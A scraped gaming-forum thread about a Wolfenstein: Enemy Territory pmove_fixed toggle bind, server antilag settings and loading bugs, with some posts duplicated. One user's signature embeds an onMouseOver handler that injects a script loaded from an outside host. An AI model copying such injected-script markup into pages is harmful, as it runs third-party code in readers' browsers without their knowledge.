pmove_fixed script
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- D4rK^AnG3l
- Posts: 26
- Joined: Sun Oct 10, 2004 11:22 am
pmove_fixed script
Dose any 1 know if u can make a pmove_fixed script? So that i can turn it of and on when i need to, or is that not possible?
P.s (Is there 1 already and dose any 1 know where i can get it plzz?)
tnx
P.s (Is there 1 already and dose any 1 know where i can get it plzz?)
tnx
- Ragnar_40k
- Posts: 394
- Joined: Thu Mar 18, 2004 5:18 pm
- Location: Berlin, birthplace of the Döner
- Contact:
Try this:
As long as you hold down the jump key (e.g. CTRL), pmove_fixed is enabled.
There is also a pmove_toggle script on ET-Strategy-tk (among others).
Code: Select all
set jump_dn "pmove_fixed 1; +moveup"
set jump_up "-moveup; pmove_fixed 0"
bind CTRL "+vstr jump_dn jump_up"
There is also a pmove_toggle script on ET-Strategy-tk (among others).
The Emperor watch over you.
A pmove toggle script exists inside the etpro pk3... I'll leave it up to you to find it.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
- =FF=im2good4u
- Posts: 3821
- Joined: Wed Feb 05, 2003 7:30 am
- Location: The Netherlands, HOLLAND
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lol i found it
<a href="http://bunnyherolabs.com/adopt/showpet. ... dQ=="><img src="http://petimage.bunnyherolabs.com/adopt ... Q0dQ==.png" width="80" height="100" border="0"></a>
- EagleReloaded
- Posts: 278
- Joined: Fri Nov 19, 2004 9:15 pm
- Location: Sydney, Australia
If pmove_fixed 1:
1) it is affecting b_antiwarp, isn't it?
2) it isn't affecting b_antilag, is it?
3) it is affecting g_antilag, isn't it?
4) it isn't affecting b_realhead 1, is it?
If sv_fps 20:
1) changing snaps from default hasn't any point, has it?
If i tried b_antilag 9 ..it didn't showed me any hitboxes.
If i make local host it sometimes write:
..this error is generated sometimes when i change server settings (cg_thirdperson, config, map, etc.) too but if this error on runnig server it don't crush server.
If i wanted use new .script for some maps:
et_beach - map is appeared that map is loaded in console but loading screen was still there - if "loading strip" reached "full-load" it returned back for cca 2 cm and if "loading strip" reached "full-load" it returned back for cca 2 cm and again and again.
fueldump - .script where axis can sapwn near truck work only in warmup.. (i solve this switching between 2 etpro and 2 etmain folder)
If i want to make ETPro localhost (non dedicated).. while map is loading it crush and there is Windows error report. (i solve this that i'm switching between 2 etmain folders - one with custom packs and one is fully pure)
ETMain folder has 595 files and 1,37 GB.
ETPro folder has 338 files (1/3 are .cfg files ) and 393 MB.
Here is some strange bug on ET and ETPro pure instalation and with default client configuration (without any additional packs, i think). It was only once. If i pressed ESC there was "loading screen" as you can see it this video:
http://pictures.wolfenstein.cz/bug.avi 14 MB
If b_campaignfile "campaign.pk3" and if campaig.pk3 is in etmain folder it won't work, will it?
If it's wrong that i wrote everything in one topic and one post.. if it's.. i'm sorry i thought that creating another topic is needles.
1) it is affecting b_antiwarp, isn't it?
2) it isn't affecting b_antilag, is it?
3) it is affecting g_antilag, isn't it?
4) it isn't affecting b_realhead 1, is it?
If sv_fps 20:
1) changing snaps from default hasn't any point, has it?
If i tried b_antilag 9 ..it didn't showed me any hitboxes.
If i make local host it sometimes write:
..this error is generated sometimes when i change server settings (cg_thirdperson, config, map, etc.) too but if this error on runnig server it don't crush server.
If i wanted use new .script for some maps:
et_beach - map is appeared that map is loaded in console but loading screen was still there - if "loading strip" reached "full-load" it returned back for cca 2 cm and if "loading strip" reached "full-load" it returned back for cca 2 cm and again and again.
fueldump - .script where axis can sapwn near truck work only in warmup.. (i solve this switching between 2 etpro and 2 etmain folder)
If i want to make ETPro localhost (non dedicated).. while map is loading it crush and there is Windows error report. (i solve this that i'm switching between 2 etmain folders - one with custom packs and one is fully pure)
ETMain folder has 595 files and 1,37 GB.
ETPro folder has 338 files (1/3 are .cfg files ) and 393 MB.
Here is some strange bug on ET and ETPro pure instalation and with default client configuration (without any additional packs, i think). It was only once. If i pressed ESC there was "loading screen" as you can see it this video:
http://pictures.wolfenstein.cz/bug.avi 14 MB
If b_campaignfile "campaign.pk3" and if campaig.pk3 is in etmain folder it won't work, will it?
If it's wrong that i wrote everything in one topic and one post.. if it's.. i'm sorry i thought that creating another topic is needles.
If you don't do it, someone else will.
I'm ashamed..Deus wrote:campaignfile is never a *.pk3, campaignfile is always *.campaign
BTW: cone of fire isn't affected by pmove_fixed, is it? (i tested it, i didn't see any difference.. but i want to be sure to that)
BTW2: please, could you answer to my few questions? ..it is not hard for you.
And could you recomend me some good Q3 engin documentation?
Thax, very much
If you don't do it, someone else will.
ftp://ftp.idsoftware.com/idstuff/source/Father wrote: And could you recomend me some good Q3 engin documentation?
Thax, very much
etpro forces sv_fps to 20
pmove_fixed breaks recoil weapons, making sniping and pistol shooting very hard. Don't use it.
send lawyers, guns and money
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